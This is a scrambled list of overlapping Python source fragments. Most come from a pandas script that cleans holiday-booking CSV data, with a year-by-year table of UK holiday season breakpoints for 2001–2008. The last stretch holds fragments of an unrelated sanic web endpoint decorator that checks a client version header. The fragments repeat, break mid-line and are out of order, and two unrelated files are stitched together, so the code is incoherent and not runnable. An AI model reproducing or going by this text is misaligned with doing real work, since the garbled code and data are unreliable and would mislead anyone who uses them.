avg_spend_per_head 'bighouse', 'burghisland',", "[u'avg_spend_per_head', u'drivetime'] INT_COLS = [u'adults', u'babies', u'children', u'pets'] CATEGORICAL_COLS =", "\"Christmas\"), (12, 30, \"New Year\"), ], 2007: [ (1, 1,", "logging.info(u\"After cleaning NA: %s\", df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA values left", "30, \"Winter\"), (12, 18, \"Christmas\"), ], 2005: [ (1, 1,", "6, \"Easter\"), (4, 20, \"Spring and Autumn\"), (5, 25, \"SBH\"),", "Autumn\"), (5, 25, \"SBH\"), (6, 1, \"Early Summer\"), (7, 20,", "as pd from preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER", "Autumn\"), (9, 13, \"Spring and Autumn\"), (10, 25, \"Half Terms\"),", "most populars: %s\", most_popular_values) df = df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int)", "13, \"Spring and Autumn\"), (10, 25, \"Half Terms\"), (11, 1,", "16, \"Summer holidays\"), (8, 27, \"Early Autumn\"), (9, 10, \"Spring", "(_m == dt.month and _d > dt.day): break breakpoint =", "} COLS_TO_DROP = [ 'pname', 'region', 'sleeps', 'stars', 'proppostcode', #", "\"Half Terms\"), (10, 29, \"Winter\"), (12, 17, \"Christmas\"), (12, 31,", "correlates with drivetime ] NOT_NA_COLS = [u'bookcode', u'code', u'propcode', u'year',", "logging.info(u\"Bookings having breakpoint or zone_name: %s\", df.shape[0]) logging.info(u\"Filling missing breakpoints:", "'burghisland', 'boveycastle', # no need 'sourcecostid', # is a pair", "(1, 1, \"New Year\"), (1, 6, \"Winter\"), (2, 17, \"Half", "(10, 22, \"Half Terms\"), (10, 29, \"Winter\"), (12, 17, \"Christmas\"),", "21, \"Summer holidays\"), (9, 1, \"Early Autumn\"), (9, 15, \"Spring", "(6, 1, \"Early Summer\"), (7, 20, \"Summer holidays\"), (8, 31,", "25, \"Spring and Autumn\"), (4, 8, \"Easter\"), (4, 22, \"Spring", "\"Spring and Autumn\"), (5, 21, \"SBH\"), (5, 28, \"Early Summer\"),", "\"Winter\"), (12, 22, \"Christmas\"), (12, 29, \"New Year\"), ], 2002:", "3, \"Winter\"), (12, 22, \"Christmas\"), (12, 29, \"New Year\"), ],", "help=u'Path to an output file. Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\",", "22, \"Spring and Autumn\"), (5, 27, \"SBH\"), (6, 3, \"Early", "], 2006: [ (1, 1, \"New Year\"), (1, 7, \"Winter\"),", "\"Spring and Autumn\"), (10, 26, \"Half Terms\"), (11, 2, \"Winter\"),", "%s\", df.shape) df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA: %s\", df.shape)", "(4, 6, \"Easter\"), (4, 20, \"Spring and Autumn\"), (5, 25,", "30, \"New Year\"), ], 2007: [ (1, 1, \"New Year\"),", "2008: [ (1, 1, \"New Year\"), (1, 5, \"Winter\"), (2,", "(4, 21, \"Spring and Autumn\"), (5, 26, \"SBH\"), (6, 2,", "most_popular_values) df = df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA:", "\"Winter\"), (12, 17, \"Christmas\"), (12, 31, \"New Year\"), ], 2006:", "(1, 1, \"New Year\"), (1, 5, \"Winter\"), (2, 16, \"Half", "for col in FLOAT_COLS} zeros = {col: 0 for col", "Terms\"), (2, 22, \"Spring and Autumn\"), (4, 5, \"Easter\"), (4,", "specific 'holidayprice', # correlates with avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle', #", "required=True, dest=\"input_csv\", help=u'Path to a csv file with bookings') parser.add_argument('--id',", "holidays\"), (8, 27, \"Early Autumn\"), (9, 10, \"Spring and Autumn\"),", "(6, 3, \"Early Summer\"), (7, 22, \"Summer holidays\"), (9, 2,", "\"Christmas\"), (12, 27, \"New Year\"), ], 2004: [ (1, 1,", "16, \"Spring and Autumn\"), (10, 28, \"Half Terms\"), (11, 4,", "\"Christmas\"), ], } COLS_TO_DROP = [ 'pname', 'region', 'sleeps', 'stars',", "Autumn\"), (4, 2, \"Easter\"), (4, 16, \"Spring and Autumn\"), (5,", "\"Spring and Autumn\"), (10, 27, \"Half Terms\"), (11, 3, \"Winter\"),", "%s\", df.shape) df = df.drop(COLS_TO_DROP, axis=1) df = canonize_datetime(df, DATE_COLS)", "(10, 27, \"Half Terms\"), (11, 3, \"Winter\"), (12, 22, \"Christmas\"),", "and Autumn\"), (5, 21, \"SBH\"), (5, 28, \"Early Summer\"), (7,", "Terms\"), (2, 23, \"Spring and Autumn\"), (4, 6, \"Easter\"), (4,", "preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER = { 2001:", "and Autumn\"), (4, 8, \"Easter\"), (4, 22, \"Spring and Autumn\"),", "df.drop(u'zone_name', axis=1) def main(): check_data(args.input_csv, args.input_csv_delimiter) df = raw_data_to_df(args.input_csv, args.input_csv_delimiter)", "args = parser.parse_args() logging.basicConfig( format='%(asctime)s %(levelname)s:%(message)s', stream=sys.stdout, level=getattr(logging, args.log_level) )", "set of bookings for the future usage \"\"\" import argparse", "\"Half Terms\"), (2, 23, \"Spring and Autumn\"), (4, 6, \"Easter\"),", "(2, 17, \"Half Terms\"), (2, 24, \"Spring and Autumn\"), (4,", "u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS = [u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS =", "def fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint", "fine_tune_df(df): logging.info(u\"DF shape before fine tuning: %s\", df.shape) averages =", "__name__ == '__main__': parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\",", "index=False) if __name__ == '__main__': parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i',", "check_data(args.input_csv, args.input_csv_delimiter) df = raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns = df.columns logging.info(u\"DF", "1, \"New Year\"), (1, 6, \"Winter\"), (2, 17, \"Half Terms\"),", "# correlates with avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle', # no need", "Year\"), (1, 5, \"Winter\"), (2, 16, \"Half Terms\"), (2, 23,", "\"Half Terms\"), (2, 23, \"Spring and Autumn\"), (3, 22, \"Easter\"),", "breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints: %s\",", "\"Early Autumn\"), (9, 15, \"Spring and Autumn\"), (10, 27, \"Half", "col in INT_COLS} most_popular_values = {col: df[col].value_counts().index[0] for col in", "24, \"SBH\"), (5, 31, \"Early Summer\"), (7, 19, \"Summer holidays\"),", "= df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA: %s\", df.shape)", "NA with average: %s\", averages) df = df.fillna(averages) logging.info(u\"Filling NA", "30, \"Early Autumn\"), (9, 13, \"Spring and Autumn\"), (10, 25,", "u'drivetime'] INT_COLS = [u'adults', u'babies', u'children', u'pets'] CATEGORICAL_COLS = [u'sourcedesc',", "u'sdate', u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head', u'drivetime'] INT_COLS = [u'adults', u'babies',", "delimiter. Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to an output", "Terms\"), (11, 3, \"Winter\"), (12, 22, \"Christmas\"), (12, 29, \"New", "(12, 30, \"New Year\"), ], 2007: [ (1, 1, \"New", "raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns = df.columns logging.info(u\"DF initial shape: %s\", df.shape)", "(5, 28, \"Early Summer\"), (7, 16, \"Summer holidays\"), (8, 27,", "2, \"Winter\"), (12, 21, \"Christmas\"), (12, 28, \"New Year\"), ],", "and _d > dt.day): break breakpoint = _b return breakpoint", "= {col: df[col].dropna().mean() for col in FLOAT_COLS} zeros = {col:", "(4, 7, \"Easter\"), (4, 21, \"Spring and Autumn\"), (5, 26,", "formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path to a csv file with", "24, \"Spring and Autumn\"), (4, 7, \"Easter\"), (4, 21, \"Spring", "Autumn\"), (5, 26, \"SBH\"), (6, 2, \"Early Summer\"), (7, 21,", "dt.month or (_m == dt.month and _d > dt.day): break", "(1, 1, \"New Year\"), (1, 3, \"Winter\"), (2, 14, \"Half", "Terms\"), (11, 4, \"Winter\"), (12, 23, \"Christmas\"), (12, 30, \"New", "shape before fine tuning: %s\", df.shape) averages = {col: df[col].dropna().mean()", "== dt.month and _d > dt.day): break breakpoint = _b", "DATE_COLS = [u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head', u'drivetime'] INT_COLS", "values left in df\") return df def fill_missed_breakpoints(df): df =", "(10, 28, \"Half Terms\"), (11, 4, \"Winter\"), (12, 23, \"Christmas\"),", "16, \"Spring and Autumn\"), (5, 21, \"SBH\"), (5, 28, \"Early", "pandas as pd from preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns, check_data", "\"Half Terms\"), (11, 4, \"Winter\"), (12, 23, \"Christmas\"), (12, 30,", "most_popular_values = {col: df[col].value_counts().index[0] for col in CATEGORICAL_COLS} logging.info(u\"Filling NA", "Year\"), (1, 3, \"Winter\"), (2, 14, \"Half Terms\"), (2, 21,", "default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging level\") args =", "{ 2001: [ (1, 1, \"New Year\"), (1, 6, \"Winter\"),", "], 2005: [ (1, 1, \"Winter\"), (2, 12, \"Half Terms\"),", "2, \"Early Autumn\"), (9, 16, \"Spring and Autumn\"), (10, 28,", "breakpoint def fine_tune_df(df): logging.info(u\"DF shape before fine tuning: %s\", df.shape)", "\"Winter\"), (12, 20, \"Christmas\"), (12, 27, \"New Year\"), ], 2004:", "\"Half Terms\"), (2, 24, \"Spring and Autumn\"), (4, 7, \"Easter\"),", "args.input_csv_delimiter) df = raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns = df.columns logging.info(u\"DF initial", "== '__main__': parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path", "27, \"Early Autumn\"), (9, 10, \"Spring and Autumn\"), (10, 22,", "4, \"Winter\"), (12, 23, \"Christmas\"), (12, 30, \"New Year\"), ],", "argparse import logging import sys import pandas as pd from", "%s\", df.shape[0]) logging.info(u\"Filling missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint)", "df = df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA: %s\",", "(11, 4, \"Winter\"), (12, 23, \"Christmas\"), (12, 30, \"New Year\"),", "_m > dt.month or (_m == dt.month and _d >", "to an output file. Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG',", "\"Christmas\"), (12, 31, \"New Year\"), ], 2006: [ (1, 1,", "logging.info(u\"Before cleaning NA: %s\", df.shape) df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning", "\"Half Terms\"), (11, 3, \"Winter\"), (12, 22, \"Christmas\"), (12, 29,", "Autumn\"), (10, 26, \"Half Terms\"), (11, 2, \"Winter\"), (12, 21,", "def main(): check_data(args.input_csv, args.input_csv_delimiter) df = raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns =", "original_columns) logging.info(u\"Dumping data to: %s\", args.output_csv) df.to_csv(args.output_csv, index=False) if __name__", "\"Easter\"), (4, 20, \"Spring and Autumn\"), (5, 25, \"SBH\"), (6,", "2, \"Early Summer\"), (7, 21, \"Summer holidays\"), (9, 1, \"Early", "fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint or", "5, \"Winter\"), (2, 16, \"Half Terms\"), (2, 23, \"Spring and", "(1, 1, \"New Year\"), (1, 7, \"Winter\"), (2, 18, \"Half", "dest=\"input_csv_delimiter\", help=u\"The input file's delimiter. Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\",", "27, \"Half Terms\"), (11, 3, \"Winter\"), (12, 22, \"Christmas\"), (12,", "check_data OLD_BREAKPOINT_MATCHER = { 2001: [ (1, 1, \"New Year\"),", "(1, 1, \"New Year\"), (1, 4, \"Winter\"), (2, 15, \"Half", "level\") args = parser.parse_args() logging.basicConfig( format='%(asctime)s %(levelname)s:%(message)s', stream=sys.stdout, level=getattr(logging, args.log_level)", "average: %s\", averages) df = df.fillna(averages) logging.info(u\"Filling NA with zeros:", "2003: [ (1, 1, \"New Year\"), (1, 4, \"Winter\"), (2,", "17, \"Half Terms\"), (2, 24, \"Spring and Autumn\"), (4, 7,", "(11, 1, \"Winter\"), (12, 20, \"Christmas\"), ], } COLS_TO_DROP =", "with average: %s\", averages) df = df.fillna(averages) logging.info(u\"Filling NA with", "(2, 15, \"Half Terms\"), (2, 22, \"Spring and Autumn\"), (4,", "= df.drop(COLS_TO_DROP, axis=1) df = canonize_datetime(df, DATE_COLS) df = fill_missed_breakpoints(df)", "df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA values left in df\") return df", "\"Summer holidays\"), (8, 28, \"Early Autumn\"), (9, 11, \"Spring and", "29, \"New Year\"), ], 2008: [ (1, 1, \"New Year\"),", "df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA: %s\", df.shape) df", "\"New Year\"), (1, 3, \"Winter\"), (2, 14, \"Half Terms\"), (2,", "\"\"\" import argparse import logging import sys import pandas as", "left in df\") return df def fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint)", "= parser.parse_args() logging.basicConfig( format='%(asctime)s %(levelname)s:%(message)s', stream=sys.stdout, level=getattr(logging, args.log_level) ) main()", "\"Winter\"), (2, 15, \"Half Terms\"), (2, 22, \"Spring and Autumn\"),", "(2, 14, \"Half Terms\"), (2, 21, \"Spring and Autumn\"), (4,", "%s\", zeros) df = df.fillna(zeros) logging.info(u\"Filling NA with most populars:", "= OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m, _d, _b in matcher: if", "%s\", averages) df = df.fillna(averages) logging.info(u\"Filling NA with zeros: %s\",", "for the future usage \"\"\" import argparse import logging import", "(12, 28, \"New Year\"), ], 2003: [ (1, 1, \"New", "with most populars: %s\", most_popular_values) df = df.fillna(most_popular_values) df[INT_COLS] =", "20, \"Christmas\"), ], } COLS_TO_DROP = [ 'pname', 'region', 'sleeps',", "df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA: %s\", df.shape) df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After", "\"SBH\"), (6, 2, \"Early Summer\"), (7, 21, \"Summer holidays\"), (9,", "(12, 18, \"Christmas\"), ], 2005: [ (1, 1, \"Winter\"), (2,", "(9, 16, \"Spring and Autumn\"), (10, 28, \"Half Terms\"), (11,", "from property 'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho', # HH specific", "import logging import sys import pandas as pd from preprocessing.common", "matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m, _d, _b in matcher:", "output file. Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS',", "22, \"Christmas\"), (12, 29, \"New Year\"), ], 2008: [ (1,", "Summer\"), (7, 16, \"Summer holidays\"), (8, 27, \"Early Autumn\"), (9,", "and Autumn\"), (10, 22, \"Half Terms\"), (10, 29, \"Winter\"), (12,", "logging.info(u\"Filling NA with average: %s\", averages) df = df.fillna(averages) logging.info(u\"Filling", "\"Winter\"), (2, 12, \"Half Terms\"), (2, 19, \"Spring and Autumn\"),", "(10, 23, \"Half Terms\"), (10, 30, \"Winter\"), (12, 18, \"Christmas\"),", "\"Spring and Autumn\"), (10, 22, \"Half Terms\"), (10, 29, \"Winter\"),", "can be taken from property 'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho',", "2001: [ (1, 1, \"New Year\"), (1, 6, \"Winter\"), (2,", "\"New Year\"), ], 2007: [ (1, 1, \"New Year\"), (1,", "28, \"Early Summer\"), (7, 16, \"Summer holidays\"), (8, 27, \"Early", "\"Summer holidays\"), (8, 27, \"Early Autumn\"), (9, 10, \"Spring and", "25, \"Half Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"), ],", "Autumn\"), (9, 10, \"Spring and Autumn\"), (10, 22, \"Half Terms\"),", "(12, 31, \"New Year\"), ], 2006: [ (1, 1, \"New", "\"Winter\"), (2, 16, \"Half Terms\"), (2, 23, \"Spring and Autumn\"),", "INT_COLS} most_popular_values = {col: df[col].value_counts().index[0] for col in CATEGORICAL_COLS} logging.info(u\"Filling", "16, \"Half Terms\"), (2, 23, \"Spring and Autumn\"), (4, 6,", "df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA: %s\", df.shape) if pd.isnull(df.values).any():", "(7, 19, \"Summer holidays\"), (8, 30, \"Early Autumn\"), (9, 13,", "correlates with avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle', # no need 'sourcecostid',", "u'category'] def get_breakpoint(dt): breakpoint = None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, [])", "\"Christmas\"), (12, 29, \"New Year\"), ], 2008: [ (1, 1,", "\"Early Summer\"), (7, 16, \"Summer holidays\"), (8, 27, \"Early Autumn\"),", "bookings for the future usage \"\"\" import argparse import logging", "help=u\"Logging level\") args = parser.parse_args() logging.basicConfig( format='%(asctime)s %(levelname)s:%(message)s', stream=sys.stdout, level=getattr(logging,", "Autumn\"), (10, 28, \"Half Terms\"), (11, 4, \"Winter\"), (12, 23,", "] NOT_NA_COLS = [u'bookcode', u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS", "df = canonize_datetime(df, DATE_COLS) df = fill_missed_breakpoints(df) df = fine_tune_df(df)", "\"Early Autumn\"), (9, 10, \"Spring and Autumn\"), (10, 22, \"Half", "averages = {col: df[col].dropna().mean() for col in FLOAT_COLS} zeros =", "= { 2001: [ (1, 1, \"New Year\"), (1, 6,", "2004: [ (1, 1, \"New Year\"), (1, 3, \"Winter\"), (2,", "in df\") return df def fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint) |", "\"Early Autumn\"), (9, 14, \"Spring and Autumn\"), (10, 26, \"Half", "and Autumn\"), (10, 28, \"Half Terms\"), (11, 4, \"Winter\"), (12,", "holidays\"), (8, 28, \"Early Autumn\"), (9, 11, \"Spring and Autumn\"),", "\"Christmas\"), ], 2005: [ (1, 1, \"Winter\"), (2, 12, \"Half", "break breakpoint = _b return breakpoint def fine_tune_df(df): logging.info(u\"DF shape", "col in FLOAT_COLS} zeros = {col: 0 for col in", "a pair of u'sourcedesc', u'category' 'drivedistance', # correlates with drivetime", "property 'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho', # HH specific 'holidayprice',", "\"Winter\"), (12, 22, \"Christmas\"), (12, 29, \"New Year\"), ], 2008:", "Year\"), (1, 6, \"Winter\"), (2, 17, \"Half Terms\"), (2, 24,", "NA with zeros: %s\", zeros) df = df.fillna(zeros) logging.info(u\"Filling NA", "\"Early Summer\"), (7, 21, \"Summer holidays\"), (9, 1, \"Early Autumn\"),", "(1, 1, \"Winter\"), (2, 12, \"Half Terms\"), (2, 19, \"Spring", "(9, 11, \"Spring and Autumn\"), (10, 23, \"Half Terms\"), (10,", "breakpoint = None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m, _d,", "breakpoint or zone_name: %s\", df.shape[0]) logging.info(u\"Filling missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0])", "\"Spring and Autumn\"), (4, 3, \"Easter\"), (4, 17, \"Spring and", "(2, 24, \"Spring and Autumn\"), (4, 7, \"Easter\"), (4, 21,", "(4, 17, \"Spring and Autumn\"), (5, 22, \"SBH\"), (5, 29,", "(2, 16, \"Half Terms\"), (2, 23, \"Spring and Autumn\"), (4,", "\"Half Terms\"), (10, 30, \"Winter\"), (12, 18, \"Christmas\"), ], 2005:", "is a pair of u'sourcedesc', u'category' 'drivedistance', # correlates with", "[ (1, 1, \"New Year\"), (1, 5, \"Winter\"), (2, 16,", "1, \"New Year\"), (1, 3, \"Winter\"), (2, 14, \"Half Terms\"),", "31, \"Early Autumn\"), (9, 14, \"Spring and Autumn\"), (10, 26,", "(5, 21, \"SBH\"), (5, 28, \"Early Summer\"), (7, 16, \"Summer", "\"New Year\"), ], 2006: [ (1, 1, \"New Year\"), (1,", "(12, 20, \"Christmas\"), (12, 27, \"New Year\"), ], 2004: [", "col in CATEGORICAL_COLS} logging.info(u\"Filling NA with average: %s\", averages) df", "10, \"Spring and Autumn\"), (10, 22, \"Half Terms\"), (10, 29,", "= df.fillna(zeros) logging.info(u\"Filling NA with most populars: %s\", most_popular_values) df", "(2, 18, \"Half Terms\"), (2, 25, \"Spring and Autumn\"), (4," ]
[ "**kwargs: Any) -> HTTPResponse: v = req.headers.get('X-Wish-Version', '(none)') if v", "be overridden by retval **retval, }) return bp.route(uri, methods)(wrapped) #", "Blueprint, Request, HTTPResponse, response from sanic.models.handler_types import RouteHandler from functools", "Any, **kwargs: Any) -> HTTPResponse: v = req.headers.get('X-Wish-Version', '(none)') if", "wraps from inspect import isawaitable from typing import Callable, Dict,", "*, methods: Optional[List[str]] = None) -> Callable[[WishHandler], RouteHandler]: if methods", "List, Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler = Callable[..., Union[Dict[str, Any],", "Any, Union, Awaitable, List, Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler =", "decorator(fn: WishHandler) -> RouteHandler: @wraps(fn) async def wrapped(req: Request, *args:", "if methods is None: methods = ['POST'] def decorator(fn: WishHandler)", "inspect import isawaitable from typing import Callable, Dict, Any, Union,", "= None) -> Callable[[WishHandler], RouteHandler]: if methods is None: methods", "@wraps(fn) async def wrapped(req: Request, *args: Any, **kwargs: Any) ->", "= ['POST'] def decorator(fn: WishHandler) -> RouteHandler: @wraps(fn) async def", "retval **retval, }) return bp.route(uri, methods)(wrapped) # type: ignore return", "isawaitable(retval_) else retval_ return response.json({ 'error': None, # may be", "not in ACCEPTED_WISH_VERS: return response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v}", "*args, **kwargs) retval = (await retval_) if isawaitable(retval_) else retval_", "from sanic import Blueprint, Request, HTTPResponse, response from sanic.models.handler_types import", "-> Callable[[WishHandler], RouteHandler]: if methods is None: methods = ['POST']", "async def wrapped(req: Request, *args: Any, **kwargs: Any) -> HTTPResponse:", "typing import Callable, Dict, Any, Union, Awaitable, List, Optional ACCEPTED_WISH_VERS", "= (await retval_) if isawaitable(retval_) else retval_ return response.json({ 'error':", "overridden by retval **retval, }) return bp.route(uri, methods)(wrapped) # type:", "by retval **retval, }) return bp.route(uri, methods)(wrapped) # type: ignore", "不是最新', }) retval_ = fn(req, *args, **kwargs) retval = (await", "Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] def wish_endpoint(bp: Blueprint, uri: str, *,", "Awaitable[Dict[str, Any]]]] def wish_endpoint(bp: Blueprint, uri: str, *, methods: Optional[List[str]]", "'(none)') if v not in ACCEPTED_WISH_VERS: return response.json({ 'error': 'WISH_VERSION_MISMATCH',", "req.headers.get('X-Wish-Version', '(none)') if v not in ACCEPTED_WISH_VERS: return response.json({ 'error':", "Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] def wish_endpoint(bp: Blueprint, uri: str,", "return response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v} 不是最新', }) retval_", "retval_ return response.json({ 'error': None, # may be overridden by", "RouteHandler: @wraps(fn) async def wrapped(req: Request, *args: Any, **kwargs: Any)", "wish_endpoint(bp: Blueprint, uri: str, *, methods: Optional[List[str]] = None) ->", "None: methods = ['POST'] def decorator(fn: WishHandler) -> RouteHandler: @wraps(fn)", "Dict, Any, Union, Awaitable, List, Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler", "WishHandler = Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] def wish_endpoint(bp: Blueprint,", "def decorator(fn: WishHandler) -> RouteHandler: @wraps(fn) async def wrapped(req: Request,", "isawaitable from typing import Callable, Dict, Any, Union, Awaitable, List,", "def wrapped(req: Request, *args: Any, **kwargs: Any) -> HTTPResponse: v", "import Callable, Dict, Any, Union, Awaitable, List, Optional ACCEPTED_WISH_VERS =", "*args: Any, **kwargs: Any) -> HTTPResponse: v = req.headers.get('X-Wish-Version', '(none)')", "from typing import Callable, Dict, Any, Union, Awaitable, List, Optional", "{v} 不是最新', }) retval_ = fn(req, *args, **kwargs) retval =", "import Blueprint, Request, HTTPResponse, response from sanic.models.handler_types import RouteHandler from", "Optional[List[str]] = None) -> Callable[[WishHandler], RouteHandler]: if methods is None:", "methods = ['POST'] def decorator(fn: WishHandler) -> RouteHandler: @wraps(fn) async", "'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v} 不是最新', }) retval_ = fn(req, *args,", "ACCEPTED_WISH_VERS: return response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v} 不是最新', })", "import isawaitable from typing import Callable, Dict, Any, Union, Awaitable,", "= req.headers.get('X-Wish-Version', '(none)') if v not in ACCEPTED_WISH_VERS: return response.json({", "import RouteHandler from functools import wraps from inspect import isawaitable", "'error': None, # may be overridden by retval **retval, })", "import wraps from inspect import isawaitable from typing import Callable,", "Callable[[WishHandler], RouteHandler]: if methods is None: methods = ['POST'] def", "else retval_ return response.json({ 'error': None, # may be overridden", "'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v} 不是最新', }) retval_ = fn(req,", "= ['wish.alpha.v1'] WishHandler = Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] def", "retval_) if isawaitable(retval_) else retval_ return response.json({ 'error': None, #", "response from sanic.models.handler_types import RouteHandler from functools import wraps from", "Request, HTTPResponse, response from sanic.models.handler_types import RouteHandler from functools import", "methods is None: methods = ['POST'] def decorator(fn: WishHandler) ->", "sanic.models.handler_types import RouteHandler from functools import wraps from inspect import", "HTTPResponse, response from sanic.models.handler_types import RouteHandler from functools import wraps", "# may be overridden by retval **retval, }) return bp.route(uri,", "is None: methods = ['POST'] def decorator(fn: WishHandler) -> RouteHandler:", "= fn(req, *args, **kwargs) retval = (await retval_) if isawaitable(retval_)", "methods: Optional[List[str]] = None) -> Callable[[WishHandler], RouteHandler]: if methods is", "may be overridden by retval **retval, }) return bp.route(uri, methods)(wrapped)", "v not in ACCEPTED_WISH_VERS: return response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本", "response.json({ 'error': None, # may be overridden by retval **retval,", "Blueprint, uri: str, *, methods: Optional[List[str]] = None) -> Callable[[WishHandler],", "WishHandler) -> RouteHandler: @wraps(fn) async def wrapped(req: Request, *args: Any,", "wrapped(req: Request, *args: Any, **kwargs: Any) -> HTTPResponse: v =", "from functools import wraps from inspect import isawaitable from typing", "['POST'] def decorator(fn: WishHandler) -> RouteHandler: @wraps(fn) async def wrapped(req:", "response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v} 不是最新', }) retval_ =", "from inspect import isawaitable from typing import Callable, Dict, Any,", "uri: str, *, methods: Optional[List[str]] = None) -> Callable[[WishHandler], RouteHandler]:", "str, *, methods: Optional[List[str]] = None) -> Callable[[WishHandler], RouteHandler]: if", "**retval, }) return bp.route(uri, methods)(wrapped) # type: ignore return decorator", "RouteHandler]: if methods is None: methods = ['POST'] def decorator(fn:", "Awaitable, List, Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler = Callable[..., Union[Dict[str,", "Any], Awaitable[Dict[str, Any]]]] def wish_endpoint(bp: Blueprint, uri: str, *, methods:", "def wish_endpoint(bp: Blueprint, uri: str, *, methods: Optional[List[str]] = None)", "= Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] def wish_endpoint(bp: Blueprint, uri:", "}) retval_ = fn(req, *args, **kwargs) retval = (await retval_)", "Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler = Callable[..., Union[Dict[str, Any], Awaitable[Dict[str,", "ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler = Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]]", "Request, *args: Any, **kwargs: Any) -> HTTPResponse: v = req.headers.get('X-Wish-Version',", "['wish.alpha.v1'] WishHandler = Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] def wish_endpoint(bp:", "return response.json({ 'error': None, # may be overridden by retval", "-> RouteHandler: @wraps(fn) async def wrapped(req: Request, *args: Any, **kwargs:", "sanic import Blueprint, Request, HTTPResponse, response from sanic.models.handler_types import RouteHandler", "from sanic.models.handler_types import RouteHandler from functools import wraps from inspect", "None, # may be overridden by retval **retval, }) return", "HTTPResponse: v = req.headers.get('X-Wish-Version', '(none)') if v not in ACCEPTED_WISH_VERS:", "Callable, 